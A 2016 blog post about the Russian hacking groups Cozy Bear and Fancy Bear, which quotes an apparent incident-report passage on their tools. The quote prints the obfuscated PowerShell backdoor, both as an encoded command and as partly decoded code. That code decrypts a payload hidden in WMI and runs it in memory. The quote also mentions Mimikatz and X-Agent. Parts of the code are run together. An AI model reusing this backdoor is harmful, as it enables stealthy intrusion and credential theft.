Monday, September 5, 2016

     CLIMATE CYBERWARS: THE  SHAPE  OF  THINGS  TO  COME

THE LATE  HENRY ROWAN  SUMMED UP  THE LAST STAGES OF  THE COLD WAR IN A  SHREWD   ESSAY ENTITLED  "LIVING WITH A SICK BEAR."  THIRTY YEARS AFTER  THE REAGAN ADMINISTRATION   PUSHED  IT   OFF  A   CLIFF,  TWO  OF ITS OFFSPRING,   'COZY BEAR ' & 'FANCY BEAR'   HAVE CLIMBED BACK UP, AND EVIDENTLY STARTED  PLAYING   COMPUTER   GAMES AGAIN:
MORE  HERE...
"The COZY BEAR intrusion relied primarily on the SeaDaddy implant developed in Python and compiled with py2exe and another Powershell backdoor with persistence accomplished via Windows Management Instrumentation (WMI) system, which allowed the adversary to launch malicious code automatically after a specified period of system uptime or on a specific schedule. The Powershell backdoor is ingenious in its simplicity and power. It consists of a single obfuscated command setup to run persistently, such as:

 powershell.exe -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAAcABlAHIAZgBDAHIAKAAkAGMAcgBUAHIALAAgACQAZABhAHQAYQApAA0ACgB7AA0ACgAJACQAcgBlAHQAIAA9ACAAJABuAHUAbABsAA0ACgAJAHQAcgB5AHsADQAKAAkACQAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQANAAoACQAJACQAYwBzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwByAHkAcAB0AG8AUwB0AHIAZQBhAG0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAQAAoACQAbQBzACwAIAAkAGMAcgBUAHIALAAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwA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crTr, $data){

$ret = $null

try{

$ms = New-Object System.IO.MemoryStream

$cs = New-Object System.Security.Cryptography.CryptoStream -ArgumentList @($ms,

$crTr, [System.Security.Cryptography.CryptoStreamMode]::Write)

$cs.Write($data, 0, $data.Length)

$cs.FlushFinalBlock()$ret = $ms.ToArray()$cs.Close()$ms.Close()}catch{}return 
$ret}function decrAes($encData, $key, $iv){$ret = $nulltry{$prov = New-Object System.Security.Cryptography.RijndaelManaged$prov.Key = $key$prov.IV = $iv$decr = $prov.CreateDecryptor($prov.Key, $prov.IV)$ret = perfCr $decr $encData}Catch{}return $ret}function sWP($cN, $pN, $aK, $aI){if($cN -eq $null -or $pN -eq $null){return $false}try{$wp = ([wmiclass]$cN).Properties[$pN].Value$exEn = [Convert]::FromBase64String($wp)$exDec = decrAes $exEn $aK $aI$ex = [Text.Encoding]::UTF8.GetString($exDec)if($ex -eq $null -or $ex -eq ”){return}Invoke-Expression $exreturn $true}catch{return $false}}$aeK = [byte[]] (0xe7, 0xd6, 0xbe, 0xa9, 0xb7, 0xe6, 0x55, 0x3a, 0xee, 0x16, 0x79, 0xca, 0x56, 0x0f, 0xbc, 0x3f, 0x22, 0xed, 0xff, 0x02, 0x43, 0x4c, 0x1b, 0xc0, 0xe7, 0x57, 0xb2, 0xcb, 0xd8, 0xce, 0xda, 0x00)$aeI = [byte[]] (0xbe, 0x7a, 0x90, 0xd9, 0xd5, 0xf7, 0xaa, 0x6d, 0xe9, 0x16, 0x64, 0x1d, 0x97, 0x16, 0xc0, 0x67)sWP ‘Wmi’ ‘Wmi’ $aeK $aeI | Out-Null
This one-line powershell command, stored only in WMI database, establishes an encrypted connection to C2 and downloads additional powershell modules from it, executing them in memory. In theory, the additional modules can do virtually anything on the victim system. The encryption keys in the script were different on every system. Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
FANCY BEAR adversary used different tradecraft, deploying X-Agent malware with capabilities to do remote command execution, file transmission and keylogging. It was executed via rundll32 commands"